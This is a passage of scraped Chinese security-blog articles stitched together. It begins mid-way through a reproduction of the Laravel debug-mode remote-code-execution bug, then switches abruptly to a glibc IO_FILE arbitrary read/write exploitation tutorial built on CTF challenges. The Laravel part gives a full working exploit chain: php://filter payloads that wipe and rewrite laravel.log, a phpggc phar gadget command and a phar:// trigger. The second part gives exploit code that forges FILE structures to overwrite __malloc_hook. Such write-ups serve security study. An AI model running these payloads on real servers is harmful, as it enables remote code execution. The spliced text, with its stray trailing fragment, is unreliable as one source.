根据这个思路的原理，我们可以将清空日志分成两个步骤：
1. 使log文件尽量变成非base64字符
2. 通过`convert.base64-decode`将所有非base64字符decode，达到清空的目的
作者在第一步使用的方法为多次`convert.base64-decode`，但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。
原log文件
1. 使用`convert.iconv.utf-8.utf-16be`(UTF-8 -> UTF-16BE)
2. 使用`convert.quoted-printable-encode`(打印所有不可见字符)
3. 使用`convert.iconv.utf-16be.utf-8`(UTF-16BE -> UTF-8)
可以看到经过这样操作后log文件中所有字符变成了非base64字符，这时候再使用`convert.base64-decode`过滤器就可以成功清空了。
将上述链条和起来就是
`php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log`
这样我们就完成了第一步。
#### 写入符合规范的phar文件
我们可以通过这里的`file_get_contents()`去触发日志的记录
通过观察，我们可以发现log文件的格式其实是下面这样子的
[时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]
我们的PAYLOAD会在log文件中完整出现两次，我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。
原作者给出了一种使用`convert.iconv.utf-16le.utf-8`将utf-16转成utf-8的方案
但是这里出现了两次PAYLOAD，我们可以在PAYLOAD后面添加一个字符，使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。
这样子就是我们预期的效果，因为除了PAYLOAD的部分都是非base64字符，只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。
但是这么做还会有一个问题，就是在`file_get_contents()`传入`\00`的时候php会报一个Warning，同样会触发Debug页面的报错。所以还得想办法将空字节（`\00`）写入到log中。
好在php为了将不可见字符打印出来，给出了一个`convert.quoted-printable-encode`过滤器
原理就是将字符转成ascii后前面加个`=`号，将其打印出来。
而与之对应的`convert.quoted-printable-decode`过滤器，则是相反。
原理是将等于号后面的ascii字符解码后，打印出来。
所以我们可以使用`=00`代替`\00`传入到`file_get_contents()`中
所以完整和起来就是如下这样
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt
这样就可以成功过滤掉其他干扰字符，将PAYLOAD送到log文件中。
### 踩坑
#### 坑点1
如果直接根据作者给出的方式生成PAYLOAD，在到`convert.quoted-printable-decode`过滤器的时候可能会出问题。
因为base64编码的特殊性，有时候在编码后的字符串后面会出现`=`号，而使用`convert.quoted-printable-decode`过滤器时会匹配`=`号后面的ascii字符，如果没匹配到则会报错。
所以我们需要将`=`号利用`=3d`来替换
#### 坑点2
上面提到了，我们的PAYLOAD在log文件中除了完整的两次，还有一部分的PAYLOAD也会出现在log文件中
可以看到这里，在最后面的`=`号后的ascii字符被省略了，导致`convert.quoted-printable-decode`过滤器再次报错，所以我们可以把第一个字符`P`转成对应的`=50`，从而让这里的`=`号都能匹配上。
总结以上的坑点，发现都是`=`号匹配不上的问题，所以干脆直接将payload都进行一次`convert.quoted-printable-encode`编码。
## 写入
我们先来尝试写入一些普通字符
#### 清空log文件
viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
#### 给log添加一条前缀
viewFile: AA
#### 第三步：将需要写入的字符编码
#### 第四步：将编码后的字符写入到log中
viewFile: =55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00
#### 第五步：清空干扰字符
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
成功写入了任意字符，log文件的内容我们可控了。
## 完整利用
在laravel的依赖里面找一条能够rce的链，如`monolog/rce1`。生成对应的phar文件，并将phar文件base64编码。
php -d'phar.readonly=0' ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output | base64 -w0
PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI=
再将该base64编码后的字符进行`convert.quoted-printable-encode`编码
Python 3.9.0 (default, Nov 21 2020, 14:01:50)
[Clang 12.0.0 (clang-1200.0.32.27)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> s = 'PD9waHAgX19IQUxUX0NPTV ... gAAAEdCTUI='
>>> ''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()
'=50=00=44=00=39= ... 00=55=00=49=00=3D=00'
>>>
#### 写入到log文件
viewFile: =50=00=44=00=39= ... 00=55=00=49=00=3D=00
#### 清空干扰字符
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
#### 触发phar反序列化
viewFile: phar:///Applications/MxSrvs/www/laravel/storage/logs/laravel.log/test.txt
## 最后
至此整个漏洞就都分析复现完了，原文章中作者没有把一些坑点讲出来，导致复现的时候出现了很多非预期的bug。但是整体的思路还是非常厉害的。
除此之外，作者在最后还提到了一种利用ftp被动模式攻击php-fpm的方法，可以通过编写一个恶意的ftp服务端来实现。也是一种十分开脑洞的方法。
参考链接：
[LARAVEL <= V8.4.2 DEBUG MODE: REMOTE CODE
EXECUTION](https://www.ambionics.io/blog/laravel-debug-rce) | 社区文章 |
上篇文章描述了vtable check以及绕过vtalbe
check的方法之一，利用vtable段中的`_IO_str_jumps`来进行FSOP。本篇则主要描述使用缓冲区指针来进行任意内存读写。
从前面`fread`以及`fwrite`的分析中，我们知道了FILE结构体中的缓冲区指针是用来进行输入输出的，很容易的就想到了如果能过伪造这些缓冲区指针，在一定的条件下应该可以完成任意地址的读写。
本文包括两部分：
* 使用`stdin`标准输入缓冲区进行任意地址写。
* 使用`stdout`标准输出缓冲区进行任意地址读写。
接下来描述这两部分的原理以及给出相应的题目实践，原理介绍部分是基于已经拥有可以伪造IO
FILE结构体的缓冲区指针漏洞的基础上进行的。在后续过程假设我们目标写的地址是`write_start`，写结束地址为`write_end`；读的目标地址为`read_start`，读的结束地址为`read_end`。
前几篇传送门：
* [IO FILE之fopen详解](https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis)
* [IO FILE之fread详解](https://ray-cp.github.io/archivers/IO_FILE_fread_analysis)
* [IO FILE之fwrite详解](https://www.tttang.com/archive/1279/)
* [IO FILE之fclose详解](https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis)
* [IO FILE之劫持vtable及FSOP](https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop)
* [IO FILE 之vtable劫持以及绕过](https://ray-cp.github.io/archivers/IO_FILE_vtable_check_and_bypass)
## `stdin`标准输入缓冲区进行任意地址写
这一部分主要阐述的是使用`stdin`标准输入缓冲区指针进行任意地址写的功能。
### 原理分析
先通过`fread`回顾下通过输入缓冲区进行输入的流程：
1. 判断`fp->_IO_buf_base`输入缓冲区是否为空，如果为空则调用的`_IO_doallocbuf`去初始化输入缓冲区。
2. 在分配完输入缓冲区或输入缓冲区不为空的情况下，判断输入缓冲区是否存在数据。
3. 如果输入缓冲区有数据则直接拷贝至用户缓冲区，如果没有或不够则调用`__underflow`函数执行系统调用读取数据到输入缓冲区，再拷贝到用户缓冲区。
假设我们能过控制输入缓冲区指针，使得输入缓冲区指向想要写的地址，那么在第三步调用系统调用读取数据到输入缓冲区的时候，也就会调用系统调用读取数据到我们想要写的地址，从而实现任意地址写的目的。
根据`fread`的源码，我们再看下要想实现往`write_start`写长度为`write_end - write_start`的数据具体经历了些什么。
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (fp->_IO_buf_base == NULL)
{
...
//输入缓冲区为空则初始化输入缓冲区
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (have > 0)
{
...
//memcpy
}
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) ## 调用__underflow读入数据
...
}
...
return n - want;
}
上面贴出了一些关键代码，首先是`_IO_file_xsgetn`函数，函数先判断输入缓冲区`_IO_buf_base`是否为空，如果为空的话则调用`_IO_doallocbuf`初始化缓冲区，因此需构造`_IO_buf_base`不为空。
接着函数中当输入缓冲区有剩余时即`_IO_read_end -_IO_read_ptr
>0`，会将缓冲区中的数据拷贝至目标中，因此想要利用输入缓冲区实现读写，最好使`_IO_read_end -_IO_read_ptr
=0`即`_IO_read_end ==_IO_read_ptr`。
同时还要求读入的数据`size`要小于缓冲区数据的大小，否则为提高效率会调用read直接读。
`_IO_file_xsgetn`函数中当缓冲区不能满足需求时会调用`__underflow`去读取数据，查看`__underflow`。
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
## 如果存在_IO_NO_READS标志，则直接返回
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 如果输入缓冲区里存在数据，则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
##调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
在`_IO_new_file_underflow`函数中先判断`fp->_IO_read_ptr <
fp->_IO_read_end`是否成立，成立则直接返回，因此再次要求伪造的结构体`_IO_read_end
==_IO_read_ptr`，绕过该条件检查。
接着函数会检查`_flags`是否包含`_IO_NO_READS`标志，包含则直接返回。标志的定义是`#define _IO_NO_READS
4`，因此`_flags`不能包含`4`。
最终系统调用`_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end -fp->_IO_buf_base)`读取数据，因此要想利用`stdin`输入缓冲区需设置FILE结构体中`_IO_buf_base`为`write_start`，`_IO_buf_end`为`write_end`。同时也需将结构体中的`fp->_fileno`设置为0，最终调用`read
(fp->_fileno, buf, size))`读取数据。
将上述条件综合表述为：
1. 设置`_IO_read_end`等于`_IO_read_ptr`。
2. 设置`_flag &~ _IO_NO_READS`即`_flag &~ 0x4`。
3. 设置`_fileno`为0。
4. 设置`_IO_buf_base`为`write_start`，`_IO_buf_end`为`write_end`；且使得`_IO_buf_end-_IO_buf_base`大于fread要读的数据。
### 实践
实践的题目是whctf2017的stackoverflow，这一年也是这一种利用方式的兴起之年，这一题是很经典的一题。
题目首先是输入name，并把name输出出来，由于name未进行初始化设置且读取数据后未加入`\x00`，可以由此泄露出libc地址。
接着进入主功能函数，漏洞在先使用temp变量保存了输入的size，但是后续最后写`\x00`的时候使用的是temp，而不是size，因此存在一个溢出写`\x00`的漏洞。
在之前的文章中，我们知道了当申请堆块大小很大时（0x200000），申请出来的堆块会紧挨着libc，因此我们可以利用这个溢出写`\x00`的漏洞往libc的内存中写入一个`\x00`字节。
往哪里写一个`\x00`字节，后续改变整个内存结构而拿到shell？答案时`stdin`结构体中的`\x00`，我们先看下输入之前的stdin结构体中的数据：
可以看到在glibc
2.24中，`stdin`结构体中存储`_IO_buf_end`指针内存地址的末尾刚好为`\x00`，若利用漏洞我们将`_IO_buf_base`末尾写`\x00`，则会使得`_IO_buf_base`指向`stdin`结构体中存储`_IO_buf_end`指针内存地址，即可利用输入缓冲区覆盖`_IO_buf_end`。
我们可将`_IO_buf_end`覆盖为`__malloc_hook+0x8`，则输入时最后控制写的数据为`stdin`中的`_IO_buf_end`指针位置到`__malloc_hook+0x8`，以实现控制`__malloc_hook`。
原理就是如此，需要多提两点。
一是`IO_getc`函数的作用是刷新`_IO_read_ptr`，每次会从输入缓冲区读一个字节数据即将`_IO_read_ptr`加一，当`_IO_read_ptr`等于`_IO_read_end`的时候便会调用`read`读数据到`_IO_buf_base`地址中。
二是往malloc_hook写什么，由于`one
gadget`用不了，因此在栈中找到了一个gadget，地址为`0x400a23`，可以读取数据形成栈溢出，从而进行ROP，拿到shell。
.text:0000000000400A23 lea rax, [rbp+name]
.text:0000000000400A27 mov esi, 50h ; count
.text:0000000000400A2C mov rdi, rax ; input
.text:0000000000400A2F call input_data
## `stdout`标准输入缓冲区进行任意地址读写
上半部分使用了`stdin`进行任意地址写，这部分主要阐述`stdout`来进行任意地址读写。`stdin`只能输入数据到缓冲区，因此只能进行写。而`stdout`会将数据拷贝至输出缓冲区，并将输出缓冲区中的数据输出出来，所以如果可控`stdout`结构体，通过构造可实现利用其进行任意地址读以及任意地址写。
### 任意写
任意写的主要原理为：构造好输出缓冲区将其改为想要任意写的地址，当输出数据可控时，会将数据拷贝至输出缓冲区，即实现了将可控数据拷贝至我们想要写的地址。
想要实现上述功能，查看`fwrite`源码中如何才能实现该功能：
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
## 如果输出缓冲区有空间，则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
memcpy (f->_IO_write_ptr, s, count);
任意写功能的实现在于IO缓冲区没有满时，会先将要输出的数据复制到缓冲区中，可通过这一点来实现任意地址写的功能。可以看到任意写好像很简单，只需将`_IO_write_ptr`指向`write_start`，`_IO_write_end`指向`write_end`即可。
### 任意读
利用`stdout`进行任意地址读的原理为：控制输出缓冲区指针指向我们输入的地址，构造好条件，使得输出缓冲区为已经满的状态，再次调用输出函数时，程序会刷新输出缓冲区即会输出我们想要的数据，实现任意读。
仍然是查看`fwrite`源码中如何才能实现该功能：
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
_IO_size_t count = 0;
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
## 如果输出缓冲区有空间，则先把数据拷贝至输出缓冲区
if (count > 0)
{
...
//memcpy
}
if (to_do + must_flush > 0)
{
if (_IO_OVERFLOW (f, EOF) == EOF)
当`f->_IO_write_end >
f->_IO_write_ptr`时，会调用memcpy拷贝数据，因此最好构造条件`f->_IO_write_end`等于`f->_IO_write_ptr`。
接着进入`_IO_OVERFLOW`函数，去刷新输出缓冲区，跟进去：
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
## 判断标志位是否包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
## 判断输出缓冲区是否为空
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
## 输出输出缓冲区
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
可以看到`_IO_new_file_overflow`，首先判断`_flags`是否包含`_IO_NO_WRITES`，如果包含则直接返回，因此需构造`_flags`不包含`_IO_NO_WRITES`，其定义为`#define
_IO_NO_WRITES 8`；
接着判断缓冲区是否为空以及是否不包含`_IO_CURRENTLY_PUTTING`标志位，如果不包含的话则做一些多余的操作，可能不可控，因此最好定义`_flags`包含`_IO_CURRENTLY_PUTTING`，其定义为`#define
_IO_CURRENTLY_PUTTING 0x800`。
接着调用`_IO_do_write`去输出输出缓冲区，其传入的参数是`f->_IO_write_base`，大小为`f->_IO_write_ptr -f->_IO_write_base`。因此若想实现任意地址读，应构造`_IO_write_base`为`read_start`，构造`_IO_write_ptr`为`read_end`。
跟进去`_IO_do_write`，看该函数的关键代码：
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
## 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...
return count;
}
看到在调用`_IO_SYSWRITE`之前还判断了`fp->_IO_read_end !=
fp->_IO_write_base`，因此需要构造结构体使得`_IO_read_end`等于`_IO_write_base`。
也可以构造`_flags`包含`_IO_IS_APPENDING`，`_IO_IS_APPENDING`的定义为`#define
_IO_IS_APPENDING
0x1000`，这样就不会走后面的这个判断而直接执行到`_IO_SYSWRITE`了，一般我都是设置`_IO_read_end`等于`_IO_write_base`。
最后`_IO_SYSWRITE`调用`write (f->_fileno, data,
to_do)`输出数据，因此还需构造`_fileno`为标准输出描述符1。
将上述条件综合描述为：
1. 设置`_flag &~ _IO_NO_WRITES`即`_flag &~ 0x8`。
2. 设置`_flag & _IO_CURRENTLY_PUTTING`即`_flag | 0x800`
3. 设置`_fileno`为1。
4. 设置`_IO_write_base`指向想要泄露的地方；`_IO_write_ptr`指向泄露结束的地址。
5. 设置`_IO_read_end`等于`_IO_write_base`或设置`_flag & _IO_IS_APPENDING`即`_flag | 0x1000`。
6. 设置`_IO_write_end`等于`_IO_write_ptr`（非必须）。
满足上述五个条件，可实现任意读。
### 实践
使用`stdout`进行任意读写比较经典的一题应该是hctf2018的`babyprintf_ver2`了，下面来进行利用描述。
题目直接给出了程序基址。
然后存在明显的溢出，可以覆盖`stdout`，但是无法覆盖`stdout`的vtable，因为它会修正。
具体该如何利用呢，首先使用`stdout`任意读来泄露libc地址。构造的FILE结构体如下（使用[pwn_debug](https://github.com/ray-cp/pwn_debug)的`IO_FILE_plus`模块）：
io_stdout_struct=IO_FILE_plus()
flag=0
flag&=~8
flag|=0x800
flag|=0x8000
io_stdout_struct._flags=flag
io_stdout_struct._IO_write_base=pro_base+elf.got['read']
io_stdout_struct._IO_read_end=io_stdout_struct._IO_write_base
io_stdout_struct._IO_write_ptr=pro_base+elf.got['read']+8
io_stdout_struct._fileno=1
以此来泄露read的地址。
接着使用`stdout`的任意地址写来写`__malloc_hook`，构造的FILE结构体如下：
io_stdout_struct=IO_FILE_plus()
flag=0
flag&=~8
flag|=0x8000
io_stdout_write=IO_FILE_plus()
io_stdout_write._flags=flag
io_stdout_write._IO_write_ptr=malloc_hook
io_stdout_write._IO_write_end=malloc_hook+8
最终将one gaget
写入`malloc_hook`。如何触发malloc呢，可以使用输出较大的字符打印来触发malloc函数或是`%n`来触发，其中`%n`可触发malloc的原因是在于`__readonly_area`会通过`fopen`打开`maps`文件来读取内容来判断地址段是否可写，而`fopen`会调用`malloc`函数申请空间，因此触发。
可能会有人对于觉得`flag|=0x8000`这行构造代码觉得比较奇怪，需要解释下，在`printf`函数中会调用`_IO_acquire_lock_clear_flags2
(stdout)`来获取`lock`从而继续程序，如果没有`_IO_USER_LOCK`标志的话，程序会一直在循环，而`_IO_USER_LOCK`定义为`#define
_IO_USER_LOCK
0x8000`，因此需要设置`flag|=0x8000`才能够使exp顺利进行。`_IO_acquire_lock_clear_flags2
(stdout)`的汇编代码如下：
0x7f0bcf15d850 <__printf_chk+96> mov rbp, qword ptr [rip + 0x2a16f9]
0x7f0bcf15d857 <__printf_chk+103> mov rbx, qword ptr [rbp]
0x7f0bcf15d85b <__printf_chk+107> mov eax, dword ptr [rbx]
0x7f0bcf15d85d <__printf_chk+109> and eax, 0x8000
0x7f0bcf15d862 <__printf_chk+114> jne __printf_chk+202 <0x7f0bcf15d8ba>
## 小结
使用IO
FILE来进行任意内存读写真的是个很强大的功能，构造起来也比较容易。但是对于FILE结构体的伪造，个人感觉可能最容易出问题的地方还是`_flags`字段的构造，可能某个地方不注意就导致程序走偏了，因此感觉可能还是把默认的`stdout`和`stdin`直接拷贝出来用会比较好一些，同时`pwn_debug`的`IO_FILE_plus`模块提供了api`arbitrary_write_check`以及`arbitrary_read_check`来进行相应检测，看相应字段是否设置正确。
至此IO FILE系列描述完毕，前四篇对IO函数fopen、fread、fwrite以及fclose的源码分析；后面三篇介绍了针对IO
FILE的相关利用，包括劫持vtable、vtable引入的check机制以及相应的后续利用方式。在整个过程中为方便构造IO
结构体还在`pwn_debug`中加入了`IO_FILE_plus`模块。
最后一句，阅读源码对于学习是一件很有帮助的事情。
相关文件及脚本[链接](https://github.com/ray-cp/pwn_category/tree/master/IO_FILE/arbitrary_read_write)
## 参考链接
1. [HCTF 2018 部分 PWN writeup--babyprinf_ver2](https://ray-cp.github.io/archivers/HCTF-2018-PWN-writeup#babyprintf_ver2)
2. [浅析IO_FILE结构及利用](https://xz.aliyun.com/t/3344#toc-1)
3. [教练！那根本不是IO！——从printf源码看libc的IO](https://www.anquanke.com/post/id/86945) | 社区文章 |
Subsets and Splits